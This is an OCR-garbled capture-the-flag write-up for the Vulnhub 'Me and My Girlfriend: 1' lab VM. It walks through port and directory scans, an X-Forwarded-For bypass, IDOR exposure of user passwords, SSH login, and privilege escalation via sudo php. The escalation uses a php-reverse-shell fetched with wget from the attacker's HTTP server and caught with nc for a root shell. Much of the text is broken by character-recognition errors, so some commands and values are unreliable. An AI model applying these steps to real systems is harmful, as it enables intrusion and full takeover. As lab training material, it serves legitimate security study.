Vulnhub-Me and My Girlfriend: 1-Writeup
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nmap -sV -p- 192.168.34.152

Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-
Nmap scan report for localhost (192.168

Host is up (0.00887s latency).
Not shown: 65533 closed ports
PORT  STATE SERVICE VERSION

22/tcp open ssh
80/tcp open http Apache httpd
MAC Address: 08:00:27:14:9F:9C
Service Info: 05: Linux; CPE:

Service detection performed.
Nmap done:

ZZHweb .
171180,

OpenSSH 6.6.1pl Ubuntu 2ubuntu2

2.4.7 ((Ubuntu))
(Oracle VirtualBox virtual NIC)

cpe:/o:linux:linux_kernel

Please report any
1 IP address (1 host up) scanned in 12.12

8 03:59 EST

.34.152)

.13 (Ubuntu Linux; protocol 2.0)
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dirb http://192.168.34.152/

GENERATED WORDS: 4612

http://192.168
http://192.168
+ http://192.168.34.152/index.
DIRECTORY: http://192.168

+ http://192.168
+ http://192.168

- Scanning URL:
==> DIRECTORY:

——

N

——

- Entering directory

(') WARNING: Directory

(Use mode '-w'

IS LISTABLE.

---- Entering directory: http://192.168
(') WARNING: DlrEItOI‘ I% LISTABLE.
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(D) 192.168.34.152

Who are you? Hacker? Sorry This Site Can Only Be Accessed local!

: http://192.168
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.34.152/
.34.152/config/
php (CODE:200|SIZE:120)
.34.152/misc/
.34.152/robots.txt (CODE:200|SI
.34.152/server-status (CODE:403

-
L

-
SI

.34.152/config/ ----
No need to scan it.
it you want to scan it anyway)

.34.152/misc/

No need to s
(Use mode '-w' if you want to scan 1ﬁ"ﬁﬁyﬂ3y$~n
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GET { HTTP/1.1

Host: 192.168.34.152

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv69.0) Gecko/20100101 Firefox/69.0
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 */*q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Connection: close

Cookie: PHPSESSID=0jvIStki9t1495a2mpo7 kBghE3

s-forwarded-for127.0.0.1 ="

Upgrade-Insecure-Requests: 1
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(@ 192.168.34.152/?page=index

Welcome To Ceban Corp

Inspiring The People To Great Again!

Home | Login | Register | About

B WM, e kS, YN x- forwarded-for:127.0.0.1 3k

GET f?page=register HTTP/1.1

Host: 192.158.34.152\G
User-Agent: Mozilla/s.0 (Windows 0; ' Wing4; x64; nv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http://192.168.34.152/?page=index

Cookie: PHPSESSID=0jvIStki9t1495a2mpo7 kBghE3

x-forwarded-for 127 .0.0.1| =

Upgrade-Insecure-Requests: 1

Home | Login | Register | About

Name | |
Email | |
Username | |

Password | l
| Login |
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Home | Login | Register | About

Usemarne|admin | ‘

Password eeess J

| Login | \

@ 192.168.34.152/index.php?page=dashboard&user id=12

Welcome To Ceban Corp

Inspiring The People To Great Again!

Dashboard | Profile | Logout

Wellcome Back!

Are you ready for Inspiring The People? Let's Do It!

BERZJE, MBI . B profile. B

@ & 192.168.34.152/index.php?page=profile&user id=12

Welcome To Ceban Corp

Inspiring The People To Greatr Again!

Dashboard | Profile | Logout

Name |admin
Username |admin J
Password
Change \
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GET findex.php?page=profile&user_id=1 HTTF/1.1

Host: 192.168.34.152
User-Agent: Mozilla/s.0 (Windows MNT 1UN54; x64; nv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8

Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close /

x-forwarded-for:127.0.0.1)

Cookie: PHPSESSID=0jv9tki9t1495a2mpgr kBghG3

Upgrade-Insecure-Requests: 1

@ & 192.168.34.152/index.php?page=profile&user id=12

Welcome To Cel

Inspiring The People To

Dashboard | Profile

Name Eweuh Tandingan

Usem:m:le|eweuhtandingan I —
Password |-------. | ‘______\
Change
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Q#EE HTML -
<O
<label for="username™>Username</label>

<input id="username® type="text™ name="usernams” wvalue="eweuhtandingan™»
<br>»
<label for="password™>Password</label>

<input id="password" type="password" name="password” wvalue="skuyatuh"x>

<br»
<button disabled="disabled™»Change</button>
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id=1
<input type="text" name="name" id="name" value="Eweuh Tandingan"><br>
<input type="text" name="username" id="username" value="eweuhtandingan"><br>
<input type="password" name="password" id="password" value="skuyatuh"><br>

id=2
<input type="text" name="name" id="name" value="Aing Maung"><br>
<input type="text" name="username" id="username" value="aingmaung"><br>

<input type="password" name="password" id="password" value="qwerty!!!"><br>

id=3
<input type="text" name="name" id="name" value="Sunda Tea"><br>
<input type="text" name="username" id="username" value="sundatea"><br>
<input type="password" name="password" id="password" value="indONEsia"><br>

id=4
<input type="text" name="name" id="name" value="Sedih Aing Mah"><br>
<input type="text" name="username" id="username" value="sedihaingmah"><br>
<input type="password" name="password" id="password" value="cedihhihihi"><br>

id=5
<input type="text" name="name" id="name" value="Alice Geulis"><br>
<input type="text" name="username" id="username" value="alice"><br>
<input type="password" name="password" id="password" value="41lic3"><br>
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Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but
since Alice worked at a private company, “Ceban Corp”, something has changed from Alice’s attitude towards Bob like something is
“hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!

] ssh alice@192.168.34.152
alice@l192.168.34.152"'s password:
Last login: Wed Dec 18 15:52:20 2019 from 192.168.

alice@gfriEND:~$ id
=1000(alice) gid=1@01(alice) groups=1001{alice)
alice@gfriEND:~$ [
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sudo -1

-1
ching Defaults entries for alice on gfriEND:
env_reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on gfriEND:
i ) NOPASSWD: /usr/bin/php
agfriEND:~$ B

LR AEHIrootii AT php i &



W () 5L A8 2 T phpsesiishell. AT HIKkalis (A4 php-reverse-shell.php , python3+4 i fii 5 ik 55 %%

root@kali: Jus.../webshells/php &

# pwd

/usrfsharéfwebshellsﬁphp

# 1s
php-backdoor.php php-r :11.php qsd-php-backdoor.php simple-backdoor.php
: # python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/)

cdBtmpH X T, TaEIAH:

wget http://192.168.34.80:8888/php-reverse-shell.php

alice@gfriEND:/tmp$ pwd

/tmp

alice@gfriEND:/tmp$ wget http://192.168.34.80:8888/php-reverse-shell.php
--2019-12-18 16:30:58-- http://192.168.34.80:8888/php-reverse-shell.php
Connecting to 192.168.34.80:8888... connected.

HTTP request sent, awaiting response... 200 0K

Length: 5491 (5.4K) [application/octet-stream]

Saving to: ‘php-reverse-shell.php”’

019-12-18 16:30:58 (426 MB/s) - ‘php-reverse-shell.php’ saved [5491/5491]

alice@gfriEND: /tmps W

BN S

log.csdn.net/qg_419

kali i W 123435 [

: # nc -lvp 1234
listening on [any] 1234

Rooted ! !



alice@gfriEND: /tmp x|

?%%EG@GT riEND:/tmps pwd root@kali: Jusr/sharefwebshells/php
alice@gfriEND:/tmp$ wget http://192.168.34.80:8888/php-rever root@kali: /us../webshells/php B
--2019-12-18 16:30:58-- http://192.168.34.80:8888/php-rever
Connecting to 192.168.34.80:8888... connected. :
HTTP request sent, awaiting response... 200 OK listening on [any] 1234 ...
Length: 5491 (5.4K) [application/octet-stream] connect to [192.168.34.80] from localhost [192.168.34.152] 41768
Saving to: ‘php-reverse-shell.php’ Linux gfriEND 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019
16:33:59 up 5:20, 1 user, load average: 0.80, 0.00, 0.00
100% USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ice pts/@ 192.168.34.80 16:23 4.00s 0.12s 0.12s -bash

# nc -lvp 1234

2019-12-18 16:30:58 (426 MB/s) - ‘php-reverse-shell.php’' savi uid=0(root) gid=0(root) groups=0(root)
/bin/sh: @: can't access tty; job control turned off
alice@gfriEND:/tmp$ vim php-reverse-shell.php # id
alice@gfriEND:/tmp$ sudo php php-reverse-shell.php uid=0(root) gid=0(root) groups=0(root)
PHP Notice: Undefined variable: daemon in /tmp/php-reverse- #
SuccessTully opened reverse shell to 192.168.34.80:1234
alice@gfriEND:/tmps []
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